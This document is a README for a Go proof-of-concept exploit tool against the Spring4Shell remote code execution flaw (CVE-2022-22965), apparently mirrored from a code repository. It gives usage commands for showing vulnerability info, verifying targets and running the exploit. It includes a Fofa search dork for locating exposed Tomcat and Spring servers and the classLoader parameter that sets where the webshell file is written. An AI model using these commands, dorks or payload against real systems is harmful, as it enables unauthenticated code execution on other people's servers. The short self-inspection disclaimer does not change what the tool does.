CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Description

Spring4Shell (CVE-2022-22965)

介绍

# CVE-2022-22965
Spring4Shell (CVE-2022-22965)

## Usage

### 1. show info

```bash
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     
```

### 2. verify

```bash
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/
```

### 3. exploit

```bash
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v
```

Maybe require changing the file upload path, which by default is "webapps/ROOT"

```
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/
```

## Disclaimer

This procedure is for security self-inspection only, please consciously comply with local laws.

文件快照

备注